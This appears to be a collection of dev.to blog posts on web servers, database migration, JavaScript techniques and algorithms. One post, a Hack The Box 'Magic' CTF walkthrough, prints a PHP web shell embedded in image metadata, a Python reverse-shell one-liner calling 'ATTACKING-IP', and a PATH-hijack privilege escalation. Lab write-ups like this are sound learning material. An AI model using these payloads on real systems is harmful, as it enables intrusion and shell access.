teleren/devto huggingface dataset:
OpenBSD and httpd
Published: 2020-05-30 23:48:44

One of the major reasons I like having a server available is being able to host my own content.  Keeping a few boxes in the closet to store all the data I hoard wouldn't go very far if there was no access.  For a web solution I've gone with OpenBSD (of course) and it's pre-installed web server, httpd.

OpenBSD's security comes not only through tireless audits, but by not having any network facing software turned on by default.  Setting up httpd (like most things on OpenBSD) really is no more difficult than carefully editing a few text files.

For this I'm using OpenBSD 6.7 on a Pentium 4.

First one has to create a config file for httpd in the /etc directory called httpd.conf.  An example is located in /etc/examples as such:
```
# $OpenBSD: httpd.conf,v 1.20 2018/06/13 15:08:24 reyk Exp $

server "example.com" {
	listen on * port 80
	location "/.well-known/acme-challenge/*" {
		root "/acme"
		request strip 2
	}
	location * {
		block return 302 "https://$HTTP_HOST$REQUEST_URI"
	}
}

server "example.com" {
	listen on * tls port 443
	tls {
		certificate "/etc/ssl/example.com.fullchain.pem"
		key "/etc/ssl/private/example.com.key"
	}
	location "/pub/*" {
		directory auto index
	}
	location "/.well-known/acme-challenge/*" {
		root "/acme"
		request strip 2
	}
}
```
From this I stripped it down to only what I needed.
```
# $OpenBSD: httpd.conf,v 1.20 2018/06/13 15:08:24 reyk Exp $
ext_ip = "egress"

server "<name of my domain>" {
	listen on $ext_ip port 80
	root "/htdocs"
}

types {
	include "/usr/share/misc/mime.types"
}
```
By setting the IP address to a variable called "ext_ip" and assigning it a value of "egress" the web server only allows incoming connectivity to the primary IP address of the network interface.  By default httpd keeps its files in /var/www.  Setting our root directory in httpd.conf to "/htdocs" makes anyone going to our website see the files in /var/www/htdocs.  With our server configured all that was left was to allow it to know common file types, stored in /usr/share/misc/mime.types.  

Next we have to enable httpd.  In the past this has been done by directly editing configuration files in /etc, in this case /etc/rc.conf.local.  Now this is done with the rcctl utility.  From the man page:  
```
     The rcctl utility can enable or disable a base system service or a base
     system or package daemon in rc.conf.local(8) or display its configuration
     and status.  For a daemon, it can also change the command line arguments,
     the user to run as, the rc.d(8) action timeout or call its rc.d(8) daemon
     control script.
```
Enabling httpd is then as easy as:
```
rcctl enable httpd
```
This should add the line "httpd_flags=" to /etc/rc.conf.local.  Then to start httpd we use rcctl again.
```
rcctl start httpd
```
All that's left now is to create an index.html file in /var/www/htdocs and point a web browser to our new web server!
Converting MSSQL to MySQL
Published: 2020-05-31 00:23:05

---
title: Converting MSSQL to MySQL
published: true
date: 2020-05-30 23:33:07 UTC
tags: 
canonical_url: https://dcblog.dev/converting-mssql-to-mysql
---

Recently I've inherited a project build in MSSQL that needs to be converting into MySQL. For anyone who has looked into this you'll quickly realise its not a simple conversion. There are a few tools you can try and also a manual way.

## First the manual way:

This involved writing a script that will read from a MSSQL database and write to a MySQL database, all these scripts are in the same folder:

For the database calls I modified my PDO Wrapper, this version can be accessed at [https://github.com/dcblogdev/pdo-wrapper/blob/mssql/src/Database.php](https://github.com/dcblogdev/pdo-wrapper/blob/mssql/src/Database.php)

I then include db.php into a config.php file. Set up credentials for the MSSQL that I call `$old` and the credentials for the MySQL database that I call `$new`

```php
<?php
require 'db.php';

$old_username = 'username';
$old_password = 'password';
$old_database = 'databasse'; 
$old_host = 'ip address';
$old_type = 'mssql';

$new_username = 'username';
$new_password = 'password';
$new_database = 'databasse'; 
$new_host = 'ip address';
$new_type = 'mysql';

$old = Database::get($old_username, $old_password, $old_database, $old_host, $old_type);
$new = Database::get($new_username, $new_password, $new_database, $new_host, $new_type);
```

I then include `config.php` into any file I want to run the conversion on.

I truncate the new table so I can run the script as needed. Next I select all records from a table using the $old connection, loop over the data and insert into the MySQL database using the $new connection.

```php
<?php
require 'config.php';

$new->truncate('car_parking');

$rows = $old->select("SELECT * from dbo.CarParking");
foreach ($rows as $row) {

    $data = [
        'id' => $row->CarParkingID,
        'title' => $row->Title,
    ];

    $new->insert('car_parking', $data);
}
```

At any time I can run this in a terminal/command prompt by typing php followed by the filename ie `php carparking.php`

This will work but if you are working with a large database it will take a long time to write the queries for all tables.

## Tools

### MySQL Workbench

You can use [MySQL Workbench](https://www.mysql.com/products/workbench/) to run a migration wizard. I found it fairly complicated to setup and slow going and worse some tables that were see as the wrong format were missed entirly.

### MS SQL to MySQL converter

The [MSSQL-to-MySQL](https://www.convert-in.com/mss2sql.htm) converter works great, it's easy to setup assuming both databases are on the same machine. You can convert directly into a MySQL database or to a SQL file. Either specifing specific tables or all tables. The trail version is limited to 50 records for a complete conversion you will need to buy the product. At $49 is a bargain will save hours of work, I highly recommend this approach.
Check: Slow Internet Connectivity
Tags: javascript
Published: 2020-05-30 23:23:01

We can start a timeout in an inline script block in <head> section , which will be run as soon as it's encountered. 

We would then cancel the timeout when the load event fires. If the timeout ever fires, the page is loading slowly.

In real world project - We would want to replace the alert with something little more useful.

{% codesandbox dev-io-first-program-467hs %}
How to Make an Input Field Grow/Shrink as you Type
Tags: html, css, javascript
Published: 2020-05-30 22:59:44

If you have worked with CSS a lot you may have noticed that input fields do not behave like other HTML elements when it comes to making an input field fit the content within it. In this article I'm going to show you a simple trick to make an input field grow and shrink as you type with some little CSS and JavaScript.

For the markup we're going to need an input and a span.

```html
<input type="text">
<span></span>
```

Now let's apply some styles to our content.

```css
input[type="text"],
span {
	font-family:  'Open Sans', 'Helvetica Neue', sans-serif;
	font-size: 1.75rem;
	border: 2px solid #666;
	/* box-sizing: border-box; */
	/* padding: 0.5em 1em; */
}

input[type="text"] {
	width: 6em;
	padding: 0.5em 1em;

	color: #555;
	border-radius: 2em;
	outline: 0;
}

input[type="text"]:focus {
	border-color: #ff7996;
}

span {
	position: absolute;
	left: -9999px;
	display: inline-block;
	min-width: 6em;
}
```

There's one thing to note here. Borders and font properties applied to the input field need to be applied to the span as well, the padding also needs to be applied to both the span and the input if we set the `box-sizing` to `border-box`, you'll know why when we move to JavaScript. Notice that I set a `min-width` to the span and `width` to the input field this is just to have a predefined width for our input field so that the it doesn't shrink below that width. Other styles are there just to hide the span and make the input field look pretty.

Now let's move to the actual trick.

```js
const input = document.querySelector('input');
const span = document.querySelector('span');

input.addEventListener('input', function (event) {
	span.innerHTML = this.value.replace(/\s/g, '&nbsp;');
	this.style.width = span.offsetWidth + 'px';
});
```

In the code above we simply listen to input events on our text input then we replace the content of the span with the content in the input. Notice that we also replace the spaces on `this.value` by `&nbsp` due to the fact that in HTML multiple spaces will only be rendered as a single space. After that we apply the width of the span to the input field.

This is how it would look like:

![Input field grows and shrinks with text](https://imgur.com/r2AvNB6.png)

I hope this article was helpful.
Any questions or additions? Leave a comment below.
Using Throttle in Javascript
Tags: javascript, tutorial, webdev
Published: 2020-05-30 22:59:00

Hey guys,

This time, im going to talk <b>Throttle</b>.
What is Throttle and what it is used for?

A throttle is a technique used in the browser to improve performance by limiting the number of events your code needs to handle. 

Throttle is used when you want to execute a callback at a controlled rate, allowing you to handle intermediate states repeatedly at each fixed interval of time.

For example, using ScrollEventListener

```javascript
document.addEventListener("scroll", function() { 
    console.log("Hey!");
}, false);
```
It will be executed dozens of times (maybe more) per second when you scroll, it is a waste of memory, code overflow, and you probably don't even need to run that code so many times to achieve your goal.

So, you can use <b>Throttle</b> with the following code:
```javascript
// Main throttle function
function throttle (func, interval) {
  var timeout;
  return function() {
    var context = this, args = arguments;
    var later = function () {
      timeout = false;
    };
    if (!timeout) {
      func.apply(context, args)
      timeout = true;
      setTimeout(later, interval)
    }
  }
}

// My function that will run repeatedly at each fixed interval of time.
var myHeavyFunction = throttle(function() {

          // Your code here

}, 200); // Adjust interval of time

// Add EventListener
window.addEventListener('scroll', myHeavyFunction);
```

That's it! now you can control the interval of time wich your funciont will run.

You can use Throttle with the following Events:
<ul>
<li>Scroll</li>
<li>Mouse Move</li>
<li>Window Resize</li>
<li>Etc...</li>
</ul>

It also exists <b>Debounce</b> that allows you to “group” multiple raised sequential functions into a single function, but that's for another post.

I hope it helps someone.

Take a look at my most recent project: <a href="https://github.com/BMSVieira/BVSelect-VanillaJS"> VanillaJS Fully Customizable SelectBoxes</a>

thank you.
Locally publishing Service Fabric without State Loss
Tags: csharp, dotnet, servicefabric
Published: 2020-05-30 22:31:53

If you want to publish your latest enhancement without losing your data in Reliable Dictionaries, here are the steps to follow:

**Step 1:** Go to `Solution Explorer` then navigate to `Project Properties`.

**Step 2:** In `Application` section, set `Application Debug Mode` field to `Auto Upgrade`.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/q89dsos1phy9gm6pod9t.PNG)

**Step 3:** Go to `Publish` Window. Make sure that `Upgrade the Application` is checked.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/effnsm0srn9cp9dy3ywr.PNG)

**Step 4:** Click `Manifest Windows` button and update the version numbers of the affected projects/services. Ensure to update both `Code` and `Config` fields. Click `Save`.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/ypnnubsnykla8lys3i9t.PNG)

**Step 5:** Proceed on publishing the application.

**Step 6:** After successful publishing, go to Service Fabric Local Cluster Manager and select `Stop Local Cluster`.

**Step 7:** Once Local Cluster is stopped, go to `C:\SFDevCluster\Data\_App\_Node_0\<YOUR_APPLICATION_NAME>.ApplicationType_App1` and delete all project specific files and folders.

**Step 8:** Go to Service Fabric Local Cluster Manager -> `Start Local Cluster` (don't select `Reset Local Cluster` - this will delete all data).

That's it! Please do share your thoughts in the comments.
Learning the CTF way! : 1/n
Tags: todayilearned, linux, security, tips
Published: 2020-05-30 21:55:29

This CTF Learn Series, will be tips and tricks I learned during CTFs.

So, that being said, today I pwned my first Hack The Box machine - Magic!

_Thanks to [Fahmi's Magic Walkthrough](https://medium.com/@fahmi1597/hack-the-box-magic-10-10-10-185-scratch-f534fce85b66)!_

So, I was presented with a webserver with 2 ports in use. Started to do recon on the website and found a login panel - bypassed the login using simple SQL injection. 

An image upload interface greeted me, and is ready to accept png, jpg and gif formats ONLY. There was a chance to get access using a php-reverse-shell but no, it did not accept any _.php_ format or even I tried _.php.png_, bad luck! This was the time for me to learn this **first trick**

### How to implement reverse shell inside an image?

* Using this tool - exiftool - we can view the metadata of an image and we could use the same to alter it as well.

```shell
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']);?>' image.png
```

What this command does is, it alters the Comment parameter of the image. 

![Exiftool Output](https://dev-to-uploads.s3.amazonaws.com/i/0yxcgckbeyloibrjutqr.png)

As we have used, $_GET we could send the data through the url in cmd parameter `...image.php.png?cmd=<any shell command>` and this will run the shell commands and give the output in the browser.

Checked if python is available or not, it was not but python3 was!

Then used the python one liner reverse shell to get access to the shell. Passed the one liner through `cmd` parameter and started listening on some port `nc -nlvp 1234`.

Python One Liner Reverse Shell:
```shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

Did a bit recon as `www-data`, found credentials of mysql database which lead to mysqldump of user's credentials. 

Next step was privilege escalation to root!

Ran `linpeas.sh` and found out some SUID binaries, and one specific that looked interesting was `sysinfo` which was linked to `lshw`. 
**Time for the next lesson!**

### How to escalate using PATH variable and SUID?
After doing some recon, we knew that when `sysinfo` was running a service called `lshw` and therefore if we could run same command before `sysinfo`, we could possibly achieve our task.

Created a new file in `/tmp/cardinal/lshw` and put that python reverse shell in it and made it executable.

What we have to do now, is that specify this location in the PATH variable. 

```shell
export PATH=/tmp/cardinal/:$PATH
```

And then we came to our terminal and started the reverse shell and then in the user's terminal executed `sysinfo`. 

Viola!
Memory leak by anonymous functions
Tags: javascript, react, webdev, beginners
Published: 2020-05-30 21:40:21

---
title: Memory leak by anonymous functions
published: true
description: Use of anonymous functions within render methods, an anti-pattern
tags: javascript, react, webdev, beginners
cover_image: https://i.giphy.com/media/lVBtp4SRW6rvDHf1b6/giphy.webp
---

With introduction of fat arrow functions :heavy_plus_sign: the implicit bind magic, JS developers found an everlasting :yellow_heart: towards them.

Although they were eye pleasing and a delight, they bought with a variety of concerns if not implemented wisely.

One such case i found myself having numerous conversations with my peers about; is having anonymous functions to handle the events which developers find easy to use and miss the subtle ugly memory leak they cause.

*P.S This article won't be dwelling to the :elephant: depths of memory leak identification and resolutions but to emphasis on the fact that taking the easy route in this case will end up hitting the hardest.*

---

## :sparkles: Theory 

An anonymous function might not be cleared by GC (garbage collection) efficiently during a mark and sweep phase as the references to it cannot be determined hence GC fails to recover back the allocated memory

---

## :sparkles: Lab setup 

- Production react build running on chrome
- Run about 10k state changes on each scenario of with and without anonymous implementation to trigger re-renders

*Preview*
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/jvqz4zxx06zaff0ybvtv.png)

---

## :sparkles: Analysis 

That being said, let's jump on to the crux and look at some stats;

Recording a snapshot of each implementation clearly depicts a memory leak with the anonymous function implementation

Snapshot **without** anonymous functions
![Analysis without anonymous functions](https://i.ibb.co/0F1ZHKf/Screenshot-2020-05-30-at-4-19-43-PM.png)
:small_orange_diamond: *[fig (i)](https://i.ibb.co/0F1ZHKf/Screenshot-2020-05-30-at-4-19-43-PM.png)*

Snapshot **with** anonymous functions
![Analysis with anonymous functions](https://i.ibb.co/zfwdKWW/Screenshot-2020-05-30-at-4-21-17-PM.png)
:small_orange_diamond: *[fig (ii)](https://i.ibb.co/zfwdKWW/Screenshot-2020-05-30-at-4-21-17-PM.png)*

As we compare fig (i) with fig (ii) it's clear that the memory allocation has been freed up by GC in fig (i) as opposed to that of fig(ii)

The *exaggerated* example intends to portrays the memory leak with the approach; which holds true for apps of multiple complexities in the real world

---

## :sparkles: Conclusion =>

Anonymous fat arrow functions within render methods pave way for a memory leak and ipso facto an *anti-pattern*

---

## :sparkles: Show me the code 

{% github Jeevan-Kishore/space-complexity no-readme %}

---

If you have questions, let us know in the comments and we are looking forward for your feedback 🍻
Selfhosted heroku alternative
Tags: react, node
Published: 2020-05-30 21:25:14

Hey #devs! I'm looking for an alternative to my node.js application to serve API on my own server in a similar way as using Heroku.

I know that I could just start the application, but for me it's important that the application starts automatically when the server restarts or when new changes are merged to branch in gitlab / github.

Have a nice day!
Algorithms Problem Solving: Ransom Note
Tags: algorithms, python, computerscience, interview
Published: 2020-05-30 21:18:56

---
title: Algorithms Problem Solving: Ransom Note
published: true
description: Solving algorithms problems with TK
tags: algorithms, python, computerscience, interview
cover_image: https://raw.githubusercontent.com/leandrotk/tk/master/series/algorithms-problem-solving/assets/note.jpg
canonical_url: https://leandrotk.github.io/tk/series/algorithms-problem-solving/ransom-note.html
series: Algorithms Problem Solving Series
---

This post is part of the [Algorithms Problem Solving](https://leandrotk.github.io/tk/series/algorithms-problem-solving/index.html) series. And it was originally published on [TK's blog](https://leandrotk.github.io/tk/series/algorithms-problem-solving/ransom-note.html).

## Problem description

This is the [Ransom Note](https://leetcode.com/problems/ransom-note/) problem. The description looks like this:

Given an arbitrary ransom note string and another string containing letters from all the magazines, write a function that will return true if the ransom note can be constructed from the magazines; otherwise, it will return false.

Each letter in the magazine string can only be used once in your ransom note.

## Examples

```python
# ransomNote = "a", magazine = "b"
# => false

# ransomNote = "aa", magazine = "ab"
# => false

# ransomNote = "aa", magazine = "aab"
# => true
```

## Solution

```python
def can_construct(ransom_note, magazine):
    if ransom_note == '':
        return True

    if magazine == '':
        return False

    letters_counter = {}

    for letter in magazine:
        if letter in letters_counter:
            letters_counter[letter] += 1
        else:
            letters_counter[letter] = 1

    for char in ransom_note:
        if char not in letters_counter or letters_counter[char] == 0:
            return False

        letters_counter[char] -= 1

    return True
```

## Resources

- [Learning Python: From Zero to Hero](https://leandrotk.github.io/tk/2017/09/learning-python-from-zero-to-hero/index.html)
- [Algorithms Problem Solving Series](https://leandrotk.github.io/tk/series/algorithms-problem-solving/index.html)
- [Big-O Notation For Coding Interviews and Beyond](https://www.educative.io/courses/big-o-notation-for-interviews-and-beyond?aff=x8bV)
- [Learn Python from Scratch](https://www.educative.io/courses/learn-python-from-scratch?aff=x8bV)
- [Learn Object-Oriented Programming in Python](https://www.educative.io/courses/learn-object-oriented-programming-in-python?aff=x8bV)
- [Data Structures in Python: An Interview Refresher](https://www.educative.io/courses/data-structures-in-python-an-interview-refresher?aff=x8bV)
- [Data Structures and Algorithms in Python](https://www.educative.io/courses/ds-and-algorithms-in-python?aff=x8bV)
- [Data Structures for Coding Interviews in Python](https://www.educative.io/courses/data-structures-coding-interviews-python?aff=x8bV)
- [One Month Python Course](https://mbsy.co/lG6tv)
How did you get past learning on your own to working on real projects?
Tags: beginners
Published: 2020-05-30 20:45:09

I have been learning software development for the past 8 months and still have trouble working on projects I did not help build from the ground up. I have tried to contribute to multiple open source projects (mostly JS libraries like Gatsby or React) but have not been able to successfully merge a pull request. Usually the reason being the commit does not provide enough to improve the project. Even though I feel confident in my skills they don't seem to be enough to land my first job. I have created multiple small projects and try to learn as much as I can but it lately has felt more like running in a circle. I would love to hear some ideas or things you have tried to get to the next level in my development career.
Custom Errors in JavaScript
Tags: javascript, node, errors, learninpublic
Published: 2020-05-30 20:39:23

Custom errors are created to give more information about what exactly has gone wrong in an application. They are created using the error constructor. An example of a custom error could be RecordNotFoundError, ValidationError, FormatError, etc


**Why the error constructor ?**
An error can basically be thrown  by just throwing a new instance of an error object with a custom message. 
For instance

![code explains custom error. Text explanation below image](https://dev-to-uploads.s3.amazonaws.com/i/mf8ko9l0auw0sjp8yg82.png)


In the code above, the function checkStatus checks if any user data provided as argument has emailConfirmed property set to true. Else, it throws an error.

In as much as the code above throws a runtime error when by creating an instance of the error object, it limits the having properties or methods on the instance to provide other useful information.

 
For instance

![extending the Error object to create a custom error](https://dev-to-uploads.s3.amazonaws.com/i/im4t0nr8wbwcpql1apwt.png)

In the code above, a class Validation Error is created to extend the Error object. Aside the standard message property on the Error object, through creating the validation Error class we are able to access(or create) other properties like the code.  

Hence the advantages of creating a custom error object by extending the error object includes:
1. Create specific errors whenever a runtime error is occured.
2. Creating properties or methods on the custom error object.
3. Extending the error contractor gives access to the stackTrace which gives information of exact location of error.

Reference:
https://medium.com/@xjamundx/custom-javascript-errors-in-es6-aa891b173f87
https://javascript.info/custom-errors
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error